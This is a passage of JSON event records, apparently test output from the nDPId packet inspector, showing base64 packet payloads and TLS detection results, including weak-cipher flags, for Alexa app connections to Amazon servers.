CMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM="} +00888{"flow_id":140,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2628,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":411170,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"ePiC0\/vCAMDKkVoBCABFAAGBHaBAAOcGSk027xyyrBAq2AG7xmzGEeOS79URwFAYf\/kfwgAANDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccOAAAA"} +01462{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2628,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":140,"flow_packet_id":7,"flow_first_seen":1490976177116,"flow_last_seen":1490976177411,"flow_tot_l4_data_len":3640,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50796,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","server_names":"pitangui.amazon.com,guipitan.amazon.com,alexa.amazon.com,echo.amazon.com,alexa.amazon.ca,guipitan.amazon.ca,alexa.amazon.co.jp,guipitan.amazon.co.jp,alexa.amazon.com.mx,guipitan.amazon.com.mx,alexa.amazon.com.br,guipitan.amazon.com.br,alexa.amazon.com.au,guipitan.amazon.com.au,alexa.amazon.cn,guipitan.amazon.cn","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=pitangui.amazon.com","alpn":"h2,http\/1.1","fingerprint":"13:E9:3B:22:22:61:41:53:CA:B6:3A:AE:C8:B7:23:FB:A5:11:2F:24"}} +02385{"flow_id":141,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2629,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":411710,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcV8VAAOcGC8027xyyrBAq2AG7xm3jvKzZm8EoI1AYf\/nh\/QAAFgMBDLwCAABGAwFY3n2xaq9TiacLU53\/Dedeq5VgVwSB6e5nEATT\/X1YcSB4k7UGdAl7o2Fj7GR\/vQXOKrGMzABpKlhDsMZpJU8HCAAvAAsADGoADGcAByUwggchMIIGCaADAgECAhAcRU2OfD5RXVxbu\/\/vTuNvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTEyMDAwMDAwWhcNMTgwMTEzMjM1OTU5WjBtMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEcMBoGA1UEAwwTcGl0YW5ndWkuYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJYBiz7+LgeGD3Pa4IJcJ09bhuxaGQSx+xajoPkJc5erzMpRRS1Ah2pufryf6dws05DN70Qan0Ob6GrLw2\/HxaGvneCRZhiBGyUMFBcJjk1AKw9+Nf1hXE48DlafnWpGrqpfYt2zsG+eRrhPeKWj+oj0pEgYLwOn\/a4xa6m8CUPuQAn6\/wNlnTqVyC\/SG0Yol6GVytCBUh+TZofarTRdpyUAS308UAcUFDf6BimC5d5mYn2J5R4k65+6sdF0Lg5T\/DhNiIsjt\/imBX+pqRiOG+KKP+QbbicThn04ySXzkSx\/F+UEKU29ls2FzrMVLknBH7eb59tKsTdRgaRpZOW3joUCAwEAAaOCA6owggOmMIIBVgYDVR0RBIIBTTCCAUmCE3BpdGFuZ3VpLmFtYXpvbi5jb22CE2d1aXBpdGFuLmFtYXpvbi5jb22CEGFsZXhhLmFtYXpvbi5jb22CD2VjaG8uYW1hem9uLmNvbYIPYWxleGEuYW1hem9uLmNhghJndWlwaXRhbi5hbWF6b24uY2GCEmFsZXhhLmFtYXpvbi5jby5qcIIVZ3VpcGl0YW4uYW1hem9uLmNvLmpwghNhbGV4YS5hbWF6b24uY29tLm14ghZndWlwaXRhbi5hbWF6b24uY29tLm14ghNhbGV4YS5hbWF6b24uY29tLmJyghZndWlwaXRhbi5hbWF6b24uY29tLmJyghNhbGV4YS5hbWF6b24uY29tLmF1ghZndWlwaXRhbi5hbWF6b24uY29tLmF1gg9hbGV4YS5hbWF6b24uY26CEmd1aXBpdGFuLmFtYXpvbi5jbjAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABWZBMcQIAAAQDAEYwRAIgKRWoVVA="} +02384{"flow_id":141,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2630,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":412289,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcV8dAAOcGC8s27xyyrBAq2AG7xm3jvLKNm8EoI1AYf\/kVsAAAjFI1u1wWl1G2XSDRRsDgI05xF\/R2SRNbNYayAiBoL+6shVDZBDW9cxLOAAPLGwr35RrKdMLHjy3gwdZfEgB3AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABWZBMcTwAAAQDAEgwRgIhALW9429CqWlJmY7bsqgu877wDiK6qslUq22hmi82aGQuAiEA2sOA1mIiLp7MIPis4\/n9ebUdQVRvG4dTZRoBrrVuMJswDQYJKoZIhvcNAQELBQADggEBAGYgKBIO9j5PJS1o\/wh6NT0DbzNhpExM4s36xlh\/fdFoLOzD3MnFCJ92BlxhyyvXuoWU5uoJMfpq+5QaGibLkf7L6tpnIbnlsv4eXNCJnZsn\/YBiXZkzN8b0IMudSLmP1WtQYDl4qM4g+dti6uq\/rY1mAvLnRMTSDUWsocTd+dUcSc5G9RwVrTdrCca7zCZA+MaMWAROzv86e0RCAZWlVC3xvQC\/4FJLnaRjBmVXMbodATyrnvRkt3AgTo9sdFFTCD3TqzZ4hhKNo+3kKUQSzvXWIBA1lvWZEvNmv9bA1\/cd7RNj4GLWLyUls2RjBH8NrYvZUa7GVTRCoAo+oCutXFUABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM="} +00888{"flow_id":141,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2631,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":412370,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"ePiC0\/vCAMDKkVoBCABFAAGBV8lAAOcGECQ27xyyrBAq2AG7xm3jvLhBm8EoI1AYf\/lrGAAANDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccOAAAA"} +01462{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2631,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":141,"flow_packet_id":7,"flow_first_seen":1490976177116,"flow_last_seen":1490976177412,"flow_tot_l4_data_len":3640,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50797,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","server_names":"pitangui.amazon.com,guipitan.amazon.com,alexa.amazon.com,echo.amazon.com,alexa.amazon.ca,guipitan.amazon.ca,alexa.amazon.co.jp,guipitan.amazon.co.jp,alexa.amazon.com.mx,guipitan.amazon.com.mx,alexa.amazon.com.br,guipitan.amazon.com.br,alexa.amazon.com.au,guipitan.amazon.com.au,alexa.amazon.cn,guipitan.amazon.cn","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=pitangui.amazon.com","alpn":"h2,http\/1.1","fingerprint":"13:E9:3B:22:22:61:41:53:CA:B6:3A:AE:C8:B7:23:FB:A5:11:2F:24"}} +00416{"flow_id":143,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2632,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":416579,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZihAAEAGqh6sECrYNu8cssZvAbuB1uWpMeRpe1AQAVe46QAA"} +00416{"flow_id":140,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2633,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":417365,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAok5FAAEAGfLWsECrYNu8cssZsAbvv1RHAxhHd3lAQAWIWOwAA"} +00416{"flow_id":140,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2634,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":417885,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAok5JAAEAGfLSsECrYNu8cssZsAbvv1RHAxhHjklAQAW0QfAAA"} +00417{"flow_id":140,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2635,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":419349,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAok5NAAEAGfLOsECrYNu8cssZsAbvv1RHAxhHk61AQAXkPFwAA"} +00416{"flow_id":141,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2636,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":419630,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAopC9AAEAGbBesECrYNu8cssZtAbubwSgj47yyjVAQAWJhkQAA"} +00697{"flow_id":143,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2637,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":419812,"pkt_caplen":261,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":261,"pkt_l4_len":227,"pkt":"AMDKkaPvePiC0\/vCCABFAAD3ZilAAEAGqU6sECrYNu8cssZvAbuB1uWpMeRpe1AYAVfk5AAAFgMBAMoBAADGAwMsuk8budl5l63szylFKYvttXtVR+FVs3ji\/ibU4XOTkgAAICoqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAfUpKAAD\/AQABAAAAABgAFgAAE3BpdGFuZ3VpLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAi6ugAdABcAGBoaAAEA"} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2637,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":143,"flow_packet_id":4,"flow_first_seen":1490976177276,"flow_last_seen":1490976177419,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":20,"flow_max_l4_data_len":227,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50799,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00416{"flow_id":141,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2638,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":419939,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAopDBAAEAGbBasECrYNu8cssZtAbubwSgj47y4QVAQAW1b0gAA"} +00417{"flow_id":141,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2639,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":420068,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAopDFAAEAGbBWsECrYNu8cssZtAbubwSgj47y5mlAQAXlabQAA"} +00860{"flow_id":140,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2640,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":423482,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"AMDKkaPvePiC0\/vCCABFAAFuk5RAAEAGe2ysECrYNu8cssZsAbvv1RHAxhHk61AYAXkX8AAAFgMBAQYQAAECAQALCG3vZqBa+DiSdpIsxNpU48jZGVBLiyxpWq8HS+vXfow4fTewK+CZZI9YK4+dVgLPA+3BRICXmv9b+phtEqfqbYlyWcOD53qo7BjWsP\/RS\/t64a42H9owhn5BHpCEFLe86OsYpvG7pFEbdWB2tk+GfMyUm6qubIMULVr+9aZTIJ9q44OHy8G\/+e\/ptqZ1umb35u+SZ5p+hhKYShcOk5EaHMhE67cE0lp9xxuC2VjB1zIN8h4wXDXjciTfXl0+cSNfFlvRLXogJlNGFM9olyI4c9IiER7XOsaQAEsjp6O2JYpdb9408a3WhRZhRfw71gUKlMVVFMslyj2NMkbxR+wAFAMBAAEBFgMBADDAQPJxSlPrz+ZWU4hjHEyChJhRJDw3ntYOyLpxIqT5fYa2GPy8ObOxzSKugJrx3rc="} +00859{"flow_id":141,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2641,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":426556,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"AMDKkaPvePiC0\/vCCABFAAFupDJAAEAGas6sECrYNu8cssZtAbubwSgj47y5mlAYAXkF2QAAFgMBAQYQAAECAQCCT++tPZ4e4LUMJkTx+L96AYGULtcVTZ60a+mjWtfMOTVNWv1XH2l7vxJZAaDhKZ9AlnwqTJH51\/30gstakUv3uliazkgpMec4hd92pdlZmoJuLqkEx+rfuE0mITruw\/kn+C73DpDlm+BOz0xOma8ZSxONwFkQfxH5Pey7hxW95KzM+Z2wT+EjbL94P\/fArLx3fOAkXzczitr0TCd5IcOHIHtEPtm2RYeLP5pv93IPZ3j08+d99vLQMxv70yNuvr5hYmMeh29VMthZOhiWxTmScPctXLJNGeKLNK5CmsgKuankQglGBRoNcHKgAEwMceOGvglAqh0ZW6Qf21UF8qrzFAMBAAEBFgMBADDiT70rqr0ZwwVw6xJnL0XsEXFwgth335uRk0rxZBkV9aoWGyTbpp2I+b2tsLGC3bU="} +02382{"flow_id":143,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2642,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":551603,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXckcFAAOcG0dA27xyyrBAq2AG7xm8x5Gl7gdbmeFAYf\/ku2AAAFgMBDLwCAABGAwFY3n2xtTCgBX2XxOgCNPe4QWinehtmaqxVaZztY5JDAyCbTc\/lJnWdRZ6KEAYyDThaI+O9lRqgAB2UK+xdOk8HCAAvAAsADGoADGcAByUwggchMIIGCaADAgECAhAcRU2OfD5RXVxbu\/\/vTuNvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTEyMDAwMDAwWhcNMTgwMTEzMjM1OTU5WjBtMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEcMBoGA1UEAwwTcGl0YW5ndWkuYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJYBiz7+LgeGD3Pa4IJcJ09bhuxaGQSx+xajoPkJc5erzMpRRS1Ah2pufryf6dws05DN70Qan0Ob6GrLw2\/HxaGvneCRZhiBGyUMFBcJjk1AKw9+Nf1hXE48DlafnWpGrqpfYt2zsG+eRrhPeKWj+oj0pEgYLwOn\/a4xa6m8CUPuQAn6\/wNlnTqVyC\/SG0Yol6GVytCBUh+TZofarTRdpyUAS308UAcUFDf6BimC5d5mYn2J5R4k65+6sdF0Lg5T\/DhNiIsjt\/imBX+pqRiOG+KKP+QbbicThn04ySXzkSx\/F+UEKU29ls2FzrMVLknBH7eb59tKsTdRgaRpZOW3joUCAwEAAaOCA6owggOmMIIBVgYDVR0RBIIBTTCCAUmCE3BpdGFuZ3VpLmFtYXpvbi5jb22CE2d1aXBpdGFuLmFtYXpvbi5jb22CEGFsZXhhLmFtYXpvbi5jb22CD2VjaG8uYW1hem9uLmNvbYIPYWxleGEuYW1hem9uLmNhghJndWlwaXRhbi5hbWF6b24uY2GCEmFsZXhhLmFtYXpvbi5jby5qcIIVZ3VpcGl0YW4uYW1hem9uLmNvLmpwghNhbGV4YS5hbWF6b24uY29tLm14ghZndWlwaXRhbi5hbWF6b24uY29tLm14ghNhbGV4YS5hbWF6b24uY29tLmJyghZndWlwaXRhbi5hbWF6b24uY29tLmJyghNhbGV4YS5hbWF6b24uY29tLmF1ghZndWlwaXRhbi5hbWF6b24uY29tLmF1gg9hbGV4YS5hbWF6b24uY26CEmd1aXBpdGFuLmFtYXpvbi5jbjAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABWZBMcQIAAAQDAEYwRAIgKRWoVVA="} +02384{"flow_id":143,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2643,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":552912,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXckcNAAOcG0c427xyyrBAq2AG7xm8x5G8vgdbmeFAYf\/lmegAAjFI1u1wWl1G2XSDRRsDgI05xF\/R2SRNbNYayAiBoL+6shVDZBDW9cxLOAAPLGwr35RrKdMLHjy3gwdZfEgB3AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABWZBMcTwAAAQDAEgwRgIhALW9429CqWlJmY7bsqgu877wDiK6qslUq22hmi82aGQuAiEA2sOA1mIiLp7MIPis4\/n9ebUdQVRvG4dTZRoBrrVuMJswDQYJKoZIhvcNAQELBQADggEBAGYgKBIO9j5PJS1o\/wh6NT0DbzNhpExM4s36xlh\/fdFoLOzD3MnFCJ92BlxhyyvXuoWU5uoJMfpq+5QaGibLkf7L6tpnIbnlsv4eXNCJnZsn\/YBiXZkzN8b0IMudSLmP1WtQYDl4qM4g+dti6uq\/rY1mAvLnRMTSDUWsocTd+dUcSc5G9RwVrTdrCca7zCZA+MaMWAROzv86e0RCAZWlVC3xvQC\/4FJLnaRjBmVXMbodATyrnvRkt3AgTo9sdFFTCD3TqzZ4hhKNo+3kKUQSzvXWIBA1lvWZEvNmv9bA1\/cd7RNj4GLWLyUls2RjBH8NrYvZUa7GVTRCoAo+oCutXFUABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQ